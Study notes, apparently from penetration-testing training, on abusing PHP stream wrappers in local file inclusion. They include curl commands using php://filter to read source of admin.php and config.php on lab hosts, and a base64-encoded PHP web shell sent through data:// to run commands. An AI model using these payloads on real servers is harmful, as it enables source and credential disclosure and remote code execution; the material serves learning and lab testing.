Summery
PHP wrappers allow PHP to read a bunch of different streams of data. So besides being used with http:// or https:// it can also understand zip://, phar:// and a bunch of more of them.
There are many different wrappers for different usecases in PHP. I usually use two - php://filter and php://data.
php://filter displays contents of files, even if they are executables. You also can - and likely should - encode that output for easier use. This will also make sure that you can see the whole file as some PHP can be executed without it.
Example: curl http://mountaindesserts.local/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
data:// allows you to execute arbitrary code on the webserver. You can run plain-text commands with //text/plain, or endoded ones with //text/plain;base64. This feature is disabled by default and requires allow_url_include to be enabled on the server to work.
Example: echo -n '<?php echo system($_GET["cmd"]);?>' | base64 and then curl "http://mountaindesserts.local/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
PHP Filters
PHP Filters are a type of PHP wrappers, where we can pass different types of input and have it filtered by the filter we specify. To use PHP wrapper streams, we can use the php:// scheme in our string, and we can access the PHP filter wrapper with php://filter/.
The filter wrapper has several parameters, but the main ones we require for our attack are resource and read. The resource parameter is required for filter wrappers, and with it we can specify the stream we would like to apply the filter on (e.g. a local file), while the read parameter can apply different filters on the input resource, so we can use it to specify which filter we want to apply on our resource.
There are four different types of filters available for use, which are String Filters, Conversion Filters, Compression Filters, and Encryption Filters. You can read more about each filter on their respective link, but the filter that is useful for LFI attacks is the convert.base64-encode filter, under Conversion Filters.
Source code disclosure
Once we have a list of potential PHP files we want to read, we can start disclosing their sources with the base64 PHP filter. Let’s try to read the source code of config.php using the base64 filter, by specifying convert.base64-encode for the read parameter and config for the resource parameter, as follows:
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
Note: We intentionally leave the resource file at the end of our string, as the .php extension is often automatically appended to the end of our input string, which would make the resource we specified be config.php.